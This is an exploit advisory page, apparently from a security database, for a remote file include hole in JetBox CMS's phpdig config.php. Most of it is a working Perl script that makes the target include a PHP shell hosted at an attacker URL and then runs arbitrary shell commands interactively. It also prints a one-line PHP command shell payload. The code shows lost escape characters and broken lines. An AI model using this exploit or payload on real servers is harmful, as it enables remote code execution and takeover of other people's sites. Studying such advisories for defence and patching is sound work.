JetBox CMS Remote File Include

Advisory Text :

#!/usr/bin/perl

############

# JetBox CMS Remote File Include
# Exploit & Advisory: beford <xbefordx gmail com>

#
# uso:# perl own.pl <host> <cmd-shell-url> <cmd-var>

# perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#

# cmd shell example: <? system($cmd); ?>

# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable
# relative_script_path in a include() function without being declared.
# This issue has already been fixed in phpdig, but jetbox still uses a
# vulnerable version.
############
# Vuln code
############
#if
(is_file("$relative_script_path/locales/$phpdig_language-language.php"))

# {include
"$relative_script_path/locales/$phpdig_language-language.php";}
#else
# {include "$relative_script_path/locales/en-language.php";}
############

use LWP::UserAgent;

$Path = $ARGV[0];

$Pathtocmd = $ARGV[1];

$cmdv = $ARGV[2];

if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv) { usage(); }

head();

while()

{

print "[shell] $";

while(<STDIN>) {

$cmd=$_;

chomp($cmd);
if (!$cmd) {
last;
}

$xpl = LWP::UserAgent->new() or die;

$req = HTTP::Request->new(GET
=>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pat
htocmd.'?&'.$cmdv.'='.$cmd)or
die "nCould Not connectn";

$res = $xpl->request($req);

$return = $res->content;

$return =~ tr/[n]/[?]/;

if ($return =~/Error: HTTP request failed!/ || $return =~/: No se
puede ejecutar un comando en blanco <b>/) {
print "nNo se puede conectar al host de la cmd o el comando es
invalidon";
exit;
} elsif ($return =~/^<br./>.<b>Fatal.error/) {
print "nComando Invalido, o no hubo respuestann";
}
if ($return =~ /(.*)/) {

$finreturn = $1;

$finreturn=~ tr/[?]/[n]/;

print "rn$finreturnnr";

last;

} else {
print "[shell] $";
}

}

} last;

sub head() {

print
"n=====================================================================
=======rn";

print " JetBox CMS Remote File Includern";

print
"=======================================================================
=====rn";

}

sub usage() {

head();

print " Usage: perl own.pl <host> <url-cmd> <var>rnn";

print " <host> - Full Path : http://host/claroline/ [remember the
trailing slash noob]rn";

print " <url-cmd> - PhpShell : http://atacate/shell.gif rn";

print " <var> - var name used in phpshell : cmd rn";

exit();

}

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason